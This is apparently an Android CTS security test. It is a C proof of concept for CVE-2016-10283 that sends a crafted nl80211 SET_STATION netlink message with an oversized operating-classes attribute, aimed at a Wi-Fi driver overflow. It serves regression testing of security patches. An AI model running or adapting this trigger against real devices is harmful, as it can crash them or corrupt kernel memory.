hostsidetests/security/securityPatch/CVE-2016-10283/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <dlfcn.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#include <android/log.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>
#include <netlink/msg.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <linux/nl80211.h>

#define MAX_MSG_SIZE 1024
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
#define NL80211_ATTR_MAC 6
#define ETH_ALEN 6

struct nl_sock *nl_sk;
#define NL80211_ATTR_IFINDEX 3

int test(void);
int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
                     u_int8_t genl_cmd, u_int8_t genl_version);

int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
                     u_int8_t genl_cmd, u_int8_t genl_version) {
  struct nl_msg *msg;
  int ret = -1;
  unsigned char dst[ETH_ALEN];
  unsigned char oper_classes[253];
  struct nl80211_sta_flag_update flags;

  msg = nlmsg_alloc();
  int if_index = if_nametoindex("wlan0");

  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);

  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
  nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);

  flags.mask = (1 << NL80211_STA_FLAG_TDLS_PEER);
  flags.set = (1 << NL80211_STA_FLAG_TDLS_PEER);

  nla_put(msg, NL80211_ATTR_STA_FLAGS2, sizeof(flags), &flags);

  nla_put(msg, NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES, sizeof(oper_classes),
          oper_classes);

  ret = nl_send_auto_complete(nl_sk, msg);

  return 0;
}

#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005

int test() {
  int ret = 0;
  int family_id = 0;

  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);

  setuid(2000);

  nl_sk = nl_socket_alloc();
  ret = genl_connect(nl_sk);
  if (ret != 0) {
    return -1;
  }

  family_id = genl_ctrl_resolve(nl_sk, "nl80211");

#define NL80211_CMD_SET_STATION 18

  ret = send_set_station(family_id, getpid(), NL80211_CMD_SET_STATION, 1);
  return 0;
}

int main(int argc, char *argv[]) { return test(); }